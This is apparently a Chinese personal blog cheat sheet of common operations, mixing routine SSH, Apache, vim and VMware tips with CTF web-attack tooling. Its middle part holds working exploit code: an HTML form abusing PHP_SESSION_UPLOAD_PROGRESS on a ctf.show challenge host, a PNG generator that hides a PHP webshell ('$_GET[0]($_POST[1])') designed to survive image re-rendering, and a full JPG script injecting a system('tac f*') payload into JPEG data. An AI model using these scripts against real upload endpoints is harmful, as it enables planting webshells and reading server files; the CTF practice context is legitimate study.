常用操作

作者在任何领域遇到的任何问题,仅以小结

[toc]

常用操作

SSH配置免密登录

实际上是使用公钥登录。假设主机A是Windows,要免密码连接主机B,即Linux主机,此时主机A在终端输入:

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ssh-keygen # 可以生成ssh公私钥

输入后会提示生成文件的路径,选择,通过该路径找到刚刚生成的id_rsa.pub文件,复制里面的内容,并粘贴到目标主机的~/.ssh/authorized_keys文件夹内即可完成。

启动apache服务器

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/etc/init.d/apache2 start

向指定网站上传文件

使用HTML构造数据包

例如,使用下面的HTML可以向网站上传一个名为

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<!DOCTYPE html>
<html>
<body>
<form action="http://34d722e8-adb1-425a-ae5c-b2c8ad78001a.challenge.ctf.show/" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />
<input type="file" name="file" />
<input type="submit" value="submit" />
</form>
</body>
</html>

Linux查找文件

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find /etc -name "php.ini"

VIM操作

回到顶部

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gg

删除当前以下所有

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dG

查找内容

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/ # 唤起查找,输入完成后回车
n # 前向查找
N # 反向查找

Linux重启php

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service php-fpm restart

或者重启apache服务器

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/etc/init.d/apache2 restart

图片二次渲染绕过

png的脚本:

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<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
0x66, 0x44, 0x50, 0x33);



$img = imagecreatetruecolor(32, 32);

for ($y = 0; $y < sizeof($p); $y += 3) {
$r = $p[$y];
$g = $p[$y+1];
$b = $p[$y+2];
$color = imagecolorallocate($img, $r, $g, $b);
imagesetpixel($img, round($y / 3), 0, $color);
}

imagepng($img,'2.png'); //要修改的图片的路径
/* 木马内容
<?$_GET[0]($_POST[1]);?>
*/

?>

jpg的脚本:

这个脚本需要在Linux下运行,且需要安装php-gd

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# jpg脚本需要php-gd库,下面为下载流程
sudo apt-cache search php-gd(查询需要的php-gd版本)
sudo apt-get install php7.4-gd
sudo php -m(查看gd是否安装成功)

且需要先将正常jpg上传到服务器,再下载下来,再把下载下来的图片用这个脚本处理。

jpg格式图片比较特殊,假如不行就多用几个jpg试试。

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<?php
$miniPayload = "<?php system('tac f*');?>";


if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) {
die('php-gd is not installed');
}

if(!isset($argv[1])) {
die('php jpg_payload.php <jpg_name.jpg>');
}

set_error_handler("custom_error_handler");

for($pad = 0; $pad < 1024; $pad++) {
$nullbytePayloadSize = $pad;
$dis = new DataInputStream($argv[1]);
$outStream = file_get_contents($argv[1]);
$extraBytes = 0;
$correctImage = TRUE;

if($dis->readShort() != 0xFFD8) {
die('Incorrect SOI marker');
}

while((!$dis->eof()) && ($dis->readByte() == 0xFF)) {
$marker = $dis->readByte();
$size = $dis->readShort() - 2;
$dis->skip($size);
if($marker === 0xDA) {
$startPos = $dis->seek();
$outStreamTmp =
substr($outStream, 0, $startPos) .
$miniPayload .
str_repeat("\0",$nullbytePayloadSize) .
substr($outStream, $startPos);
checkImage('_'.$argv[1], $outStreamTmp, TRUE);
if($extraBytes !== 0) {
while((!$dis->eof())) {
if($dis->readByte() === 0xFF) {
if($dis->readByte !== 0x00) {
break;
}
}
}
$stopPos = $dis->seek() - 2;
$imageStreamSize = $stopPos - $startPos;
$outStream =
substr($outStream, 0, $startPos) .
$miniPayload .
substr(
str_repeat("\0",$nullbytePayloadSize).
substr($outStream, $startPos, $imageStreamSize),
0,
$nullbytePayloadSize+$imageStreamSize-$extraBytes) .
substr($outStream, $stopPos);
} elseif($correctImage) {
$outStream = $outStreamTmp;
} else {
break;
}
if(checkImage('payload_'.$argv[1], $outStream)) {
die('Success!');
} else {
break;
}
}
}
}
unlink('payload_'.$argv[1]);
die('Something\'s wrong');

function checkImage($filename, $data, $unlink = FALSE) {
global $correctImage;
file_put_contents($filename, $data);
$correctImage = TRUE;
imagecreatefromjpeg($filename);
if($unlink)
unlink($filename);
return $correctImage;
}

function custom_error_handler($errno, $errstr, $errfile, $errline) {
global $extraBytes, $correctImage;
$correctImage = FALSE;
if(preg_match('/(\d+) extraneous bytes before marker/', $errstr, $m)) {
if(isset($m[1])) {
$extraBytes = (int)$m[1];
}
}
}

class DataInputStream {
private $binData;
private $order;
private $size;

public function __construct($filename, $order = false, $fromString = false) {
$this->binData = '';
$this->order = $order;
if(!$fromString) {
if(!file_exists($filename) || !is_file($filename))
die('File not exists ['.$filename.']');
$this->binData = file_get_contents($filename);
} else {
$this->binData = $filename;
}
$this->size = strlen($this->binData);
}

public function seek() {
return ($this->size - strlen($this->binData));
}

public function skip($skip) {
$this->binData = substr($this->binData, $skip);
}

public function readByte() {
if($this->eof()) {
die('End Of File');
}
$byte = substr($this->binData, 0, 1);
$this->binData = substr($this->binData, 1);
return ord($byte);
}

public function readShort() {
if(strlen($this->binData) < 2) {
die('End Of File');
}
$short = substr($this->binData, 0, 2);
$this->binData = substr($this->binData, 2);
if($this->order) {
$short = (ord($short[1]) << 8) + ord($short[0]);
} else {
$short = (ord($short[0]) << 8) + ord($short[1]);
}
return $short;
}

public function eof() {
return !$this->binData||(strlen($this->binData) === 0);
}
}
?>
// 用法 php exp.php a.png

vmware共享文件夹

我现在设置到了主机桌面的vmware_share

ubuntu下是在/mnt/hgfs/vmware_share


常用操作
http://example.com/2023/08/18/工具使用/常用操作/
作者
Ltfall
发布于
2023年8月18日
许可协议